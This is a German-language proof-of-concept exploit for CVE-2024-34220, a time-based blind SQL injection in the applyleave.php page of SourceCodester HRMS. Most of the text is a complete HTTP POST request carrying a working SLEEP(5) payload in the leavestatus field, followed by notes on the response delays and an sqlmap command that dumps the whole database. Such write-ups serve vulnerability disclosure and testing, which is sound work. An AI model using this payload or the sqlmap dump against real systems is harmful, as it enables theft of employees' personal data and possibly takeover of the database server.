
Proof-of-Concept-Exploit für CVE-2024-34220, eine zeitbasierte Blind-SQL-Injection-Schwachstelle in SourceCodester HRMS applyleave.php, mit sqlmap-Automatisierung zur Datenbankextraktion.
applyleave.php
SQL-Injection
Angreifer können diese Schwachstelle ausnutzen, um Datenbankberechtigungen zu erlangen, was zu einer großen Datenmenge in der Datenbank führen kann. Wenn die Datenbank der anderen Seite DBA-Berechtigungen besitzt, kann dies dazu führen, dass Server-Host-Berechtigungen erlangt werden.
POST /hrm/user/applyleave.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
Origin: http://localhost
Connection: close
Referer: http://localhost/hrm/user/applyleave.php
Cookie: PHPSESSID=2v2v2al4dkd4iir9cl5j7oikvr
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-PwnFox-Color: cyan
leavestatus=5'+AND+(SELECT+1337+FROM+(SELECT(SLEEP(5)))VSgR)+AND+'Kha'%3d'123&reason=+++&startdate=03%2F04%2F2024&enddate=29%2F04%2F2024&Apply=Submit
Nach dem Ausführen dieses Payloads ist die Datenrückgabezeit um 5 Sekunden verzögert, was darauf hindeutet, dass wir "sleep(5)" möglicherweise erfolgreich ausgeführt haben. In diesem Fall kann die Verzögerung mehrfach auftreten. Wir werden dies unten überprüfen:

Nach dem Ausführen dieses Payloads ist die Datenrückgabezeit um 20 Sekunden verzögert, was darauf hindeutet, dass wir "sleep(20)" möglicherweise erfolgreich ausgeführt haben. In diesem Fall kann die Verzögerung mehrfach auftreten. Wir werden dies unten überprüfen:

sqlmap -r <item request> --dump
